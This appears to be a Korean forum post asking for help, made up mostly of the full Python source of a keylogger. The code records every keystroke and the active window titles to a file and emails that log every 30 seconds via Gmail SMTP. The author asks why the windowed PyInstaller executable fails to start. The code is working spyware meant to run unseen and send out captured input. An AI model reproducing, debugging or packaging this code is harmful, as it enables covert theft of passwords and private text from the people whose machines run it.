import os
import getpass
import ctypes
import smtplib
import time
from datetime import datetime
from threading import Thread
from pynput.keyboard import Key, Listener
절대경로 설정(pyinstaller 사용시)
def resource_path(relative_path):
try:
# PyInstaller에 의해 임시폴더에서 실행될 경우 임시폴더로 접근하는 함수
base_path = sys._MEIPASS
except Exception:
base_path = os.path.abspath(".")
return os.path.join(base_path, relative_path)
FILEMANAGER
username = getpass.getuser()
now = datetime.now()
now = str(now).split()[0]
basic = open(resource_path('data.txt'), mode="at", encoding="utf-8")
basic.write(username + "/" + now + "\n")
basic.close()
WINMANAGER
def gettitle():
lib = ctypes.windll.LoadLibrary('user32.dll')
handle = lib.GetForegroundWindow() # 활성화된 윈도우의 핸들얻음
buffer = ctypes.create_unicode_buffer(255) # 타이틀을 저장할 버퍼
lib.GetWindowTextW(handle, buffer, ctypes.sizeof(buffer)) # 버퍼에 타이틀 저장
return buffer.value # buffer return
윈도우 타이틀 감지 함수
def wintitle():
oldtitle = gettitle()
while True:
time.sleep(0.1)
if gettitle() != oldtitle:
logger("\n" + "///" + gettitle() + "///" + "\n")
oldtitle = gettitle()
KEYLOGGING
감지한 키 로깅
def logger(key):
key = str(key).replace("'", "")
f = open(resource_path('data.txt'), mode="at", encoding="utf-8")
f.write(key + "\n")
f.close()
키 입력 감지 함수
def on_press(key):
logger(key)
print(key)
MAILMANAGER
def main2():
sender = 'xxx@gmail.com' # 발신자 이메일
receiver = 'xxx@gmail.com' # 수신자 이메일 (자기 자신에게 전송할것이기때문에 동일함)
username = 'xxx@gmail.com' # 자신의 구글 계정 아이디
password = 'xxx' # 자신의 구글 계정 패스워드
log = open(resource_path('data.txt'), mode='r', encoding='utf-8').read().encode()
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(sender, receiver, log)
server.quit()
if __name__ == "__main__":
main2()
메일 보내는 시간 설정
def FSC():
while True:
time.sleep(30)
print("TIME PASS")
main2()
메인 함수
def main():
with Listener(on_press=on_press) as listener:
listener.join()
쓰레딩
mainThread = Thread(target=main)
titleThread = Thread(target=wintitle)
FSCThread = Thread(target=FSC)
mainThread.start()
titleThread.start()
FSCThread.start()
VSCode 내에서 실행하면 잘만 돌아갑니다. 하지만 exe로 변환시키면서 문제가 발생하네요.
terminal에 pyinstaller -w --add-data 'data.txt;.' keylogger.py
를 실행시켜 다음 사진과 같은 결과를 얻었습니다.
보시다시피 data파일이 문제없이 파일 안에 존재합니다. 그런데 keylogger.exe를 실행시키면 failed to execute script
라고 뜨네요.
경로설정에는 더이상 문제가 없는 것 같은데